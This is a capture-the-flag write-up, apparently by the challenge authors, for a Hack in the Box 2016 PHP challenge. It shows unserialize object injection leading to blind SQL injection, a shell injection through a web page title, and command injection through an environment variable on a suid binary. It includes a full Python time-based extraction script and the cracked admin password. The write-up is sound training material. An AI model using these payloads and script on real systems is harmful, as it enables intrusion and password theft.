UPDATE: I got word that rileykidd has posted his own write-up, if you would like to see another solution go to: http://rileykidd.com/2016/06/09/hack-in-the-box-2016-misc400-writeup-part-1/
The following is a write-up on our Hack in the Box 2016 PHP Challenge that was part of the CTF. The CTF’s goal was to give researchers and security researcher (as CTF was with security orientation) with a challenge that is more than “just” an SQL injection or “just” code execution.
If you would like the CTF challenge files, send us an email to ssd[]beyondsecurity.com.
Where is the backup!?
When you first enter to the challenge website you can see that there is no visible login page.
Some directory enumeration reveals that there is an admin directory at /admin. The admin directory contains a login page.
When you try to perform a login with invalid credentials you receive the following error: DEBUG ERROR: Remove the backup files from the admin backup directory!!!!!
Seems like the admin forgot to turn of the debug errors 🙂
The error tells you that there is a backup directory and it contains some backups. The backup directory is located at /admin/backup and it actually contains website backups.
After you downloaded all the backups you can see that the only readable backup is backup051816.tar.gz and it contains the source of the website.
Magic methods are for kids..
Some source code auditing reveals that you can perform unserialize on user supplied data at classes/Session.php:loadSession.
private function loadSession($data) { $decoded_data = base64_decode($data); $arr = unserialize($decoded_data); $this->_sessionid = $arr['sessionid']; foreach($arr['data'] as $key => $value) { $this->_data_arr[$key] = $value; } }
How can this be exploited? Object Injection!
The source doesn’t contains any cool magic methods, however if you look closely you can see that the loadSession function loops through the ‘data’ field. foreach has some features that enables it to loop through an object. When an object is supplied to a foreach loop the rewind function is called.
public function rewind() { $con = Database::getInstance()->getConnection(); $users_table = Config::getInstance()->getTables()['users']; $escaped_user = $con->real_escape_string($this->_user); $query = "SELECT `last_login` FROM `$users_table` WHERE `user`=$escaped_user"; $res = $con->query($query); if ($res) { $this->_access_time = $res->fetch_array(MYSQLI_ASSOC)['last_login']; } }
The user class implements the rewind function and a closer look at this function reveals that you can perform an SQL injection there. The user is being escaped, however real_escape_string returns the string without any quotes so an SQL injection occurs.
SCRIPT!
With this SQL injection you can extract the admin md5 hash and perform a brute force attack to break it! John the ripper is a good tool to start with.
The admin password is: b3y0nds
Save your website!
After you enter the panel you can see some web sysadmin utilities:
1. nslookup
2. Save a website
The manage.php page handles this functions.
$data = @file_get_contents($_POST['url']); if (!$data) { echo 'Could not download the page'; } else { $matches = array(); if (preg_match('/<title>(.*?)<\/title>/', $data, $matches)) { $encoded = base64_encode($data); system("echo $encoded > files/$matches[1]"); } else { echo 'Could not fetch the filename'; } }
This code downloads a webpage and save it, you can notice that there is shell injection vulnerability there. The page title is used as a part of a command, this means that a webpage that it’s title contains a shell injection would cause a remote code execution!
This code will do the job.
<html> <head> <title>; ls -alh #</title> </head> <body> </body> </html>
Capture The Flag
After listing the files in the directory, a file named “flag.txt” appears, but it’s owned by the useme user and is not available for reading. You can find a suid executable file that is owned by the useme user at /bin/apacheutills.
A quick disassembly of the file reveals that there is an Shell Injection vulnerability using an environment variable. Using this vulnerability you can read the flag.txt file.
env COPY_DEST=";cat /var/www/html/flag.txt" /bin/apacheutills
script.py
The following script automates grabbing of the password from the users table:
import base64 import phpserialize import argparse import requests from datetime import datetime import urllib MAX_LEN = 32 MIN_LEN = 1 def get_delay(url): start_time = datetime.now() requests.get(url) return (datetime.now() - start_time).seconds def start_extraction(url): max_delay = get_delay(url) template = '10 or 1=if(0x01 = (ascii(substring((select password from users where id=1 limit 1), {idx}, 1))) >> {shift} & 0x01,sleep(2),1) -- ' final_hash = '' for index in range(MIN_LEN, MAX_LEN + 1): binary_str = [] for bit_shift in range(8): phpobj = phpserialize.phpobject('User', { '\x00User\x00_user': template.format(shift=bit_shift, idx=index), '\x00User\x00_password': 'randompassword', '\x00User\x00_is_session': False }) cookie = {'session': urllib.quote(base64.b64encode(phpserialize.serialize({'sessionid': 'randomvalue', 'data': phpobj})))} time_before = datetime.now() res = requests.get(url, cookies=cookie) delay = (datetime.now() - time_before).seconds if delay > max_delay + 1: binary_str.append('1') else: binary_str.append('0') final_hash += chr(int(''.join(binary_str)[::-1], 2)) print final_hash def main(): parser = argparse.ArgumentParser() parser.add_argument('url', help='The url to exploit') args = parser.parse_args() start_extraction(args.url) if __name__ == '__main__': main()